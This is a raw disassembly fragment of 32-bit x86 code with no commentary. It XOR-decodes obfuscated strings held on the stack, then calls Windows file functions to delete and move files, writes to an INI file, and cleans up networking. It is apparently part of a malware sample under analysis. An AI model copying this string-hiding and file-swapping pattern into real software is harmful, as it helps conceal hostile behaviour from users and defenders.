mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1e20], 0x97d58527
mov dword [ebp - 0x1e1c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1e18], 0x9ef18ec8
mov dword [ebp - 0x1e14], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1e10], 0xb7d7ed9
mov dword [ebp - 0x1e0c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1e08], 0x7e658fa
mov dword [ebp - 0x1e04], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1e30]
mov dword [ebp - 0x1130], 0x403de466
push eax
lea eax, [ebp - 0x1e60]
mov dword [ebp - 0x112c], 0x8fb165d1
push eax
lea ecx, [ebp - 0x33c8]
mov dword [ebp - 0x1e60], 0x403de466
mov dword [ebp - 0x1e5c], 0x8fb165d1
mov dword [ebp - 0x1128], 0xc0156c02
mov dword [ebp - 0x1124], 0xb2787947
mov dword [ebp - 0x1e58], 0xc0156c02
mov dword [ebp - 0x1e54], 0xb2787947
mov dword [ebp - 0x1120], 0x97ba8553
mov dword [ebp - 0x111c], 0x77b0fecf
mov dword [ebp - 0x1e50], 0x97ba8553
mov dword [ebp - 0x1e4c], 0x77b0fecf
mov dword [ebp - 0x1118], 0x9e9d8eac
mov dword [ebp - 0x1114], 0xe0f64f64
mov dword [ebp - 0x1e48], 0x9e9d8eac
mov dword [ebp - 0x1e44], 0xe0f64f64
mov dword [ebp - 0x1110], 0xb1c7ebb
mov dword [ebp - 0x110c], 0xb7b49370
mov dword [ebp - 0x1e40], 0xb1c7ebb
mov dword [ebp - 0x1e3c], 0xb7b49370
mov dword [ebp - 0x1108], 0x7e658fa
mov dword [ebp - 0x1104], 0x4625c1be
mov dword [ebp - 0x1e38], 0x7e658fa
mov dword [ebp - 0x1e34], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1130]
movaps xmmword [ebp - 0x1130], xmm1
movaps xmm1, xmmword [ebp - 0x1120]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x890]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1120], xmm1
lea eax, [ebp - 0x1130]
movaps xmm1, xmmword [ebp - 0x1110]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1110], xmm1
call edi
lea eax, [ebp - 0x1540]
mov dword [ebp - 0x1560], 0x403de466
push eax
lea eax, [ebp - 0x1560]
mov dword [ebp - 0x155c], 0x8fb165d1
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x1558], 0xc0156c02
mov dword [ebp - 0x1554], 0xb2787947
mov dword [ebp - 0x1550], 0x97ba8553
mov dword [ebp - 0x154c], 0x77b0fecf
mov dword [ebp - 0x1548], 0x9e9d8eac
mov dword [ebp - 0x1544], 0xe0d84f64
call fcn.0045f990
lea eax, [ebp - 0x1520]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1540]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x1540], 0x4052e425
mov dword [ebp - 0x153c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1538], 0xc0676c76
mov dword [ebp - 0x1534], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1530], 0x97d58527
mov dword [ebp - 0x152c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1528], 0x9ef18ec8
mov dword [ebp - 0x1524], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1500]
mov dword [ebp - 0xf80], 0x403de466
push eax
lea eax, [ebp - 0x1520]
mov dword [ebp - 0xf7c], 0x8fb165d1
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x1520], 0x403de466
mov dword [ebp - 0x151c], 0x8fb165d1
mov dword [ebp - 0xf78], 0xc0156c02
mov dword [ebp - 0xf74], 0xb2787947
mov dword [ebp - 0x1518], 0xc0156c02
mov dword [ebp - 0x1514], 0xb2787947
mov dword [ebp - 0xf70], 0x97ba8553
mov dword [ebp - 0xf6c], 0x77b0fecf
mov dword [ebp - 0x1510], 0x97ba8553
mov dword [ebp - 0x150c], 0x77b0fecf
mov dword [ebp - 0xf68], 0x9e9d8eac
mov dword [ebp - 0xf64], 0xe0d84f64
mov dword [ebp - 0x1508], 0x9e9d8eac
mov dword [ebp - 0x1504], 0xe0d84f64
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf80]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf80], xmm1
movaps xmm1, xmmword [ebp - 0xf70]
pxor xmm1, xmmword [ebp - 0x850]
push 0
movaps xmmword [ebp - 0xf70], xmm1
push eax
push 0x104
lea eax, [ebp - 0xf80]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x459908
call esi
mov esi, eax
mov dword [ebp - 0x21a0], 0x25728a64
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x219c], 0xfdad17cd
push eax
lea eax, [ebp - 0x21a0]
mov dword [ebp - 0x2198], 0xb3061b56
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x2194], 0xd1781612
mov dword [ebp - 0x2190], 0xf3b0f752
mov dword [ebp - 0x218c], 0x12f6899d
mov dword [ebp - 0x2188], 0xfb83aea6
mov dword [ebp - 0x2184], 0x92b73b7b
mov dword [ebp - 0x2180], 0x2b1a10b0
mov dword [ebp - 0x217c], 0x97f8df5f
mov dword [ebp - 0x2178], 0x75943dd2
mov dword [ebp - 0x2174], 0x2505b3d1
mov dword [ebp - 0x2170], 0xaa647d94
mov dword [ebp - 0x216c], 0x661c0a49
mov dword [ebp - 0x2168], 0xcde857e6
mov dword [ebp - 0x2164], 0x491a1404
call fcn.0045f990
lea eax, [ebp - 0x21a0]
mov dword [ebp - 0x8b0], 0x4052e425
push eax
lea eax, [ebp - 0x21e0]
mov dword [ebp - 0x8ac], 0x8fc265bf
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x21e0], 0x4052e425
mov dword [ebp - 0x21dc], 0x8fc265bf
mov dword [ebp - 0x8a8], 0xc0676c76
mov dword [ebp - 0x8a4], 0xb21b7932
mov dword [ebp - 0x21d8], 0xc0676c76
mov dword [ebp - 0x21d4], 0xb21b7932
mov dword [ebp - 0x8a0], 0x97d58527
mov dword [ebp - 0x89c], 0x779efebd
mov dword [ebp - 0x21d0], 0x97d58527
mov dword [ebp - 0x21cc], 0x779efebd
mov dword [ebp - 0x898], 0x9ef18ec8
mov dword [ebp - 0x894], 0xe0d84f08
mov dword [ebp - 0x21c8], 0x9ef18ec8
mov dword [ebp - 0x21c4], 0xe0d84f08
mov dword [ebp - 0x890], 0xb7d7ed9
mov dword [ebp - 0x88c], 0xb7b4931b
mov dword [ebp - 0x21c0], 0xb7d7ed9
mov dword [ebp - 0x21bc], 0xb7b4931b
mov dword [ebp - 0x888], 0x7e658fa
mov dword [ebp - 0x884], 0x4625c1be
mov dword [ebp - 0x21b8], 0x7e658fa
mov dword [ebp - 0x21b4], 0x4625c1be
mov dword [ebp - 0x880], 0x900119fb
mov dword [ebp - 0x87c], 0x4f782f69
mov dword [ebp - 0x21b0], 0x900119fb
mov dword [ebp - 0x21ac], 0x4f782f69
mov dword [ebp - 0x878], 0xcde857ec
mov dword [ebp - 0x874], 0x491a1404
mov dword [ebp - 0x21a8], 0xcde857ec
mov dword [ebp - 0x21a4], 0x491a1404
call fcn.0045f990
mov dword [ebp - 0x1290], 0x25728a64
mov dword [ebp - 0x128c], 0xfdad17cd
mov dword [ebp - 0x2220], 0x25728a64
mov dword [ebp - 0x221c], 0xfdad17cd
mov dword [ebp - 0x1288], 0xb3061b56
mov dword [ebp - 0x1284], 0xd1781612
mov dword [ebp - 0x2218], 0xb3061b56
mov dword [ebp - 0x2214], 0xd1781612
mov dword [ebp - 0x1280], 0xf3b0f752
mov dword [ebp - 0x127c], 0x12f6899d
mov dword [ebp - 0x2210], 0xf3b0f752
mov dword [ebp - 0x220c], 0x12f6899d
mov dword [ebp - 0x1278], 0xfb83aea6
mov dword [ebp - 0x1274], 0x92b73b7b
mov dword [ebp - 0x2208], 0xfb83aea6
mov dword [ebp - 0x2204], 0x92b73b7b
mov dword [ebp - 0x1270], 0x2b1a10b0
mov dword [ebp - 0x126c], 0x97f8df5f
mov dword [ebp - 0x2200], 0x2b1a10b0
lea eax, [ebp - 0x21e0]
mov dword [ebp - 0x21fc], 0x97f8df5f
push eax
lea eax, [ebp - 0x2220]
mov dword [ebp - 0x1268], 0x75943dd2
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x1264], 0x2505b3d1
mov dword [ebp - 0x21f8], 0x75943dd2
mov dword [ebp - 0x21f4], 0x2505b3d1
mov dword [ebp - 0x1260], 0xaa647d94
mov dword [ebp - 0x125c], 0x661c0a49
mov dword [ebp - 0x21f0], 0xaa647d94
mov dword [ebp - 0x21ec], 0x661c0a49
mov dword [ebp - 0x1258], 0xcde857e6
mov dword [ebp - 0x1254], 0x491a1404
mov dword [ebp - 0x21e8], 0xcde857e6
mov dword [ebp - 0x21e4], 0x491a1404
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1290]
pxor xmm1, xmmword [ebp - 0x1290]
movaps xmmword [ebp - 0x1290], xmm1
movaps xmm1, xmmword [ebp - 0x1280]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x1270]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1270], xmm1
movaps xmm1, xmmword [ebp - 0x1260]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1260], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2f38], 0x1307a575
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0x2f34], 0x8fc265fa
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x2f30], 0xc0676c76
mov dword [ebp - 0x2f2c], 0xb21b7932
push eax
lea eax, [ebp - 0x2f38]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2f38]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2f48], 0x4052e425
mov dword [ebp - 0x2f44], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2f40], 0xc0676c76
mov dword [ebp - 0x2f3c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0xc10], 0x1307a575
push eax
lea eax, [ebp - 0x2f58]
mov dword [ebp - 0xc0c], 0x8fc265fa
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x2f58], 0x1307a575
mov dword [ebp - 0x2f54], 0x8fc265fa
mov dword [ebp - 0xc08], 0xc0676c76
mov dword [ebp - 0xc04], 0xb21b7932
mov dword [ebp - 0x2f50], 0xc0676c76
mov dword [ebp - 0x2f4c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc10]
lea eax, [ebp - 0xc10]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc10], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x1500], 0x403de466
lea eax, [ebp - 0x14e0]
mov dword [ebp - 0x14fc], 0x8fb165d1
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x14f8], 0xc0156c02
mov dword [ebp - 0x14f4], 0xb2787947
push eax
lea eax, [ebp - 0x1500]
mov dword [ebp - 0x14f0], 0x97ba8553
push eax
mov dword [ebp - 0x14ec], 0x77b0fecf
mov dword [ebp - 0x14e8], 0x9e9d8eac
mov dword [ebp - 0x14e4], 0xe0d84f64
call fcn.0045f990
lea eax, [ebp - 0x14c0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x14e0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x14e0], 0x4052e425
mov dword [ebp - 0x14dc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x14d8], 0xc0676c76
mov dword [ebp - 0x14d4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x14d0], 0x97d58527
mov dword [ebp - 0x14cc], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x14c8], 0x9ef18ec8
mov dword [ebp - 0x14c4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0xc40], 0x403de466
push eax
lea eax, [ebp - 0x14c0]
mov dword [ebp - 0xc3c], 0x8fb165d1
push eax
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x14c0], 0x403de466
mov dword [ebp - 0x14bc], 0x8fb165d1
mov dword [ebp - 0xc38], 0xc0156c02
mov dword [ebp - 0xc34], 0xb2787947
mov dword [ebp - 0x14b8], 0xc0156c02
mov dword [ebp - 0x14b4], 0xb2787947
mov dword [ebp - 0xc30], 0x97ba8553
mov dword [ebp - 0xc2c], 0x77b0fecf
mov dword [ebp - 0x14b0], 0x97ba8553
mov dword [ebp - 0x14ac], 0x77b0fecf
mov dword [ebp - 0xc28], 0x9e9d8eac
mov dword [ebp - 0xc24], 0xe0d84f64
mov dword [ebp - 0x14a8], 0x9e9d8eac
mov dword [ebp - 0x14a4], 0xe0d84f64
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc40]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc40], xmm1
lea eax, [ebp - 0xc40]
movaps xmm1, xmmword [ebp - 0xc30]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xc30], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x14a0], 0x2927b22f
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x149c], 0xe1ad099f
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x1498], 0xa80c4c11
mov dword [ebp - 0x1494], 0xd63b105d
push eax
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x1490], 0xb7b2eb48
push eax
mov dword [ebp - 0x148c], 0x57ff97da
mov dword [ebp - 0x1488], 0xb081efa4
mov dword [ebp - 0x1484], 0xe0d84f02
call fcn.0045f990
lea eax, [ebp - 0x1460]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x1480], 0x4052e425
mov dword [ebp - 0x147c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1478], 0xc0676c76
mov dword [ebp - 0x1474], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1470], 0x97d58527
mov dword [ebp - 0x146c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1468], 0x9ef18ec8
mov dword [ebp - 0x1464], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1440]
mov dword [ebp - 0xc60], 0x2927b22f
push eax
lea eax, [ebp - 0x1460]
mov dword [ebp - 0xc5c], 0xe1ad099f
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x1460], 0x2927b22f
mov dword [ebp - 0x145c], 0xe1ad099f
mov dword [ebp - 0xc58], 0xa80c4c11
mov dword [ebp - 0xc54], 0xd63b105d
mov dword [ebp - 0x1458], 0xa80c4c11
mov dword [ebp - 0x1454], 0xd63b105d
mov dword [ebp - 0xc50], 0xb7b2eb48
mov dword [ebp - 0xc4c], 0x57ff97da
mov dword [ebp - 0x1450], 0xb7b2eb48
mov dword [ebp - 0x144c], 0x57ff97da
mov dword [ebp - 0xc48], 0xb081efa4
mov dword [ebp - 0xc44], 0xe0d84f02
mov dword [ebp - 0x1448], 0xb081efa4
mov dword [ebp - 0x1444], 0xe0d84f02
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc60]
lea eax, [ebp - 0xc60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc60], xmm1
movaps xmm1, xmmword [ebp - 0xc50]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1440], 0x4020e471
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x143c], 0x8f8165c6
mov dword [ebp - 0x1438], 0xc0126c19
mov dword [ebp - 0x1434], 0xb26f795c
push eax
mov dword [ebp - 0x1430], 0x97d58527
lea eax, [ebp - 0x1440]
mov dword [ebp - 0x142c], 0x779efebd
mov dword [ebp - 0x1428], 0x9ef18ec8
mov dword [ebp - 0x1424], 0xe0d84f08
push eax
lea ecx, [ebp - 0x3348]
call fcn.0045f990
lea eax, [ebp - 0x1400]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x1420], 0x4052e425
mov dword [ebp - 0x141c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1418], 0xc0676c76
mov dword [ebp - 0x1414], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1410], 0x97d58527
mov dword [ebp - 0x140c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1408], 0x9ef18ec8
mov dword [ebp - 0x1404], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x13e0]
mov dword [ebp - 0xc80], 0x4020e471
push eax
lea eax, [ebp - 0x1400]
mov dword [ebp - 0xc7c], 0x8f8165c6
push eax
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x1400], 0x4020e471
mov dword [ebp - 0x13fc], 0x8f8165c6
mov dword [ebp - 0xc78], 0xc0126c19
mov dword [ebp - 0xc74], 0xb26f795c
mov dword [ebp - 0x13f8], 0xc0126c19
mov dword [ebp - 0x13f4], 0xb26f795c
mov dword [ebp - 0xc70], 0x97d58527
mov dword [ebp - 0xc6c], 0x779efebd
mov dword [ebp - 0x13f0], 0x97d58527
mov dword [ebp - 0x13ec], 0x779efebd
mov dword [ebp - 0xc68], 0x9ef18ec8
mov dword [ebp - 0xc64], 0xe0d84f08
mov dword [ebp - 0x13e8], 0x9ef18ec8
mov dword [ebp - 0x13e4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc80]
lea eax, [ebp - 0x2f58]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3330]
movaps xmmword [ebp - 0xc80], xmm1
movaps xmm1, xmmword [ebp - 0xc70]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2f68]
movaps xmmword [ebp - 0xc70], xmm1
push eax
mov dword [ebp - 0x2f68], 0x4006e477
mov dword [ebp - 0x2f64], 0x8fc265bf
mov dword [ebp - 0x2f60], 0xc0676c76
mov dword [ebp - 0x2f5c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2f68]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3328]
mov dword [ebp - 0x2f78], 0x4052e425
mov dword [ebp - 0x2f74], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2f70], 0xc0676c76
mov dword [ebp - 0x2f6c], 0xb21b7932
call fcn.0045f990
mov dword [ebp - 0xc20], 0x4006e477
mov dword [ebp - 0xc1c], 0x8fc265bf
mov dword [ebp - 0x2f88], 0x4006e477
mov dword [ebp - 0x2f84], 0x8fc265bf
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0xc18], 0xc0676c76
push eax
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0xc14], 0xb21b7932
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x2f80], 0xc0676c76
mov dword [ebp - 0x2f7c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc20]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66fe54
lea eax, [ebp - 0xc80]
movaps xmmword [ebp - 0xc20], xmm1
push eax
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x2a60]
mov dword [ebp - 0x2c14], 0
push 0
push eax
mov byte [ebp - 0x2bf5], 0
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x22e0], 0x2c3b8563
lea eax, [ebp - 0x22a0]
mov dword [ebp - 0x22dc], 0xfbe201da
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x22d8], 0xae0e4c19
mov dword [ebp - 0x22d4], 0xd3750d5b
push eax
lea eax, [ebp - 0x22e0]
mov dword [ebp - 0x22d0], 0xf2afec4b
push eax
mov dword [ebp - 0x22cc], 0x5af0a89d
mov dword [ebp - 0x22c8], 0xb289ef80
mov dword [ebp - 0x22c4], 0x89a02a28
mov dword [ebp - 0x22c0], 0x6c1317ad
mov dword [ebp - 0x22bc], 0xc5c6d611
mov dword [ebp - 0x22b8], 0x64c62a95
mov dword [ebp - 0x22b4], 0x7c40a5d1
mov dword [ebp - 0x22b0], 0x90653cdb
mov dword [ebp - 0x22ac], 0x4f782f69
mov dword [ebp - 0x22a8], 0xcde857ec
mov dword [ebp - 0x22a4], 0x491a1404
call fcn.0045f990
mov dword [ebp - 0x8b0], 0x4052e425
mov dword [ebp - 0x8ac], 0x8fc265bf
mov dword [ebp - 0x2260], 0x4052e425
mov dword [ebp - 0x225c], 0x8fc265bf
mov dword [ebp - 0x8a8], 0xc0676c76
mov dword [ebp - 0x8a4], 0xb21b7932
mov dword [ebp - 0x2258], 0xc0676c76
mov dword [ebp - 0x2254], 0xb21b7932
mov dword [ebp - 0x8a0], 0x97d58527
mov dword [ebp - 0x89c], 0x779efebd
mov dword [ebp - 0x2250], 0x97d58527
mov dword [ebp - 0x224c], 0x779efebd
mov dword [ebp - 0x898], 0x9ef18ec8
mov dword [ebp - 0x894], 0xe0d84f08
mov dword [ebp - 0x2248], 0x9ef18ec8
mov dword [ebp - 0x2244], 0xe0d84f08
mov dword [ebp - 0x890], 0xb7d7ed9
mov dword [ebp - 0x88c], 0xb7b4931b
mov dword [ebp - 0x2240], 0xb7d7ed9
mov dword [ebp - 0x223c], 0xb7b4931b
mov dword [ebp - 0x888], 0x7e658fa
mov dword [ebp - 0x884], 0x4625c1be
mov dword [ebp - 0x2238], 0x7e658fa
mov dword [ebp - 0x2234], 0x4625c1be
mov dword [ebp - 0x880], 0x900119fb
mov dword [ebp - 0x87c], 0x4f782f69
mov dword [ebp - 0x2230], 0x900119fb
mov dword [ebp - 0x222c], 0x4f782f69
mov dword [ebp - 0x878], 0xcde857ec
mov dword [ebp - 0x874], 0x491a1404
lea eax, [ebp - 0x2220]
mov dword [ebp - 0x2228], 0xcde857ec
push eax
lea eax, [ebp - 0x2260]
mov dword [ebp - 0x2224], 0x491a1404
push eax
lea ecx, [ebp - 0x3310]
call fcn.0045f990
lea eax, [ebp - 0x2260]
mov dword [ebp - 0x12d0], 0x2c3b8563
push eax
lea eax, [ebp - 0x22a0]
mov dword [ebp - 0x12cc], 0xfbe201da
push eax
lea ecx, [ebp - 0x3308]
mov dword [ebp - 0x22a0], 0x2c3b8563
mov dword [ebp - 0x229c], 0xfbe201da
mov dword [ebp - 0x12c8], 0xae0e4c19
mov dword [ebp - 0x12c4], 0xd3750d5b
mov dword [ebp - 0x2298], 0xae0e4c19
mov dword [ebp - 0x2294], 0xd3750d5b
mov dword [ebp - 0x12c0], 0xf2afec4b
mov dword [ebp - 0x12bc], 0x5af0a89d
mov dword [ebp - 0x2290], 0xf2afec4b
mov dword [ebp - 0x228c], 0x5af0a89d
mov dword [ebp - 0x12b8], 0xb289ef80
mov dword [ebp - 0x12b4], 0x89a02a28
mov dword [ebp - 0x2288], 0xb289ef80
mov dword [ebp - 0x2284], 0x89a02a28
mov dword [ebp - 0x12b0], 0x6c1317ad
mov dword [ebp - 0x12ac], 0xc5c6d611
mov dword [ebp - 0x2280], 0x6c1317ad
mov dword [ebp - 0x227c], 0xc5c6d611
mov dword [ebp - 0x12a8], 0x64c62a95
mov dword [ebp - 0x12a4], 0x7c40a5d1
mov dword [ebp - 0x2278], 0x64c62a95
mov dword [ebp - 0x2274], 0x7c40a5d1
mov dword [ebp - 0x12a0], 0x90653cdb
mov dword [ebp - 0x129c], 0x4f782f69
mov dword [ebp - 0x2270], 0x90653cdb
mov dword [ebp - 0x226c], 0x4f782f69
mov dword [ebp - 0x1298], 0xcde857ec
mov dword [ebp - 0x1294], 0x491a1404
mov dword [ebp - 0x2268], 0xcde857ec
mov dword [ebp - 0x2264], 0x491a1404
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x12d0]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12d0], xmm1
movaps xmm1, xmmword [ebp - 0x12c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x12b0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x12b0], xmm1
movaps xmm1, xmmword [ebp - 0x12a0]
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0x12a0], xmm1
nop dword [eax]
mov al, byte [ebp + ecx - 0x12d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2841], al
test al, al
jne 0x45a4b0
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0x2f98], 0x2f209660
push eax
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x2f94], 0x8fc265cd
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x2f90], 0xc0676c76
mov dword [ebp - 0x2f8c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2f98]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2fa8], 0x4052e425
mov dword [ebp - 0x2fa4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2fa0], 0xc0676c76
mov dword [ebp - 0x2f9c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2fa8]
mov dword [ebp - 0xa70], 0x2f209660
push eax
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0xa6c], 0x8fc265cd
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2fb8], 0x2f209660
mov dword [ebp - 0x2fb4], 0x8fc265cd
mov dword [ebp - 0xa68], 0xc0676c76
mov dword [ebp - 0xa64], 0xb21b7932
mov dword [ebp - 0x2fb0], 0xc0676c76
mov dword [ebp - 0x2fac], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa70]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xa70], xmm1
mov al, byte [ebp + ecx - 0xa70]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2741], al
test al, al
jne 0x45a5f0
xor ecx, ecx
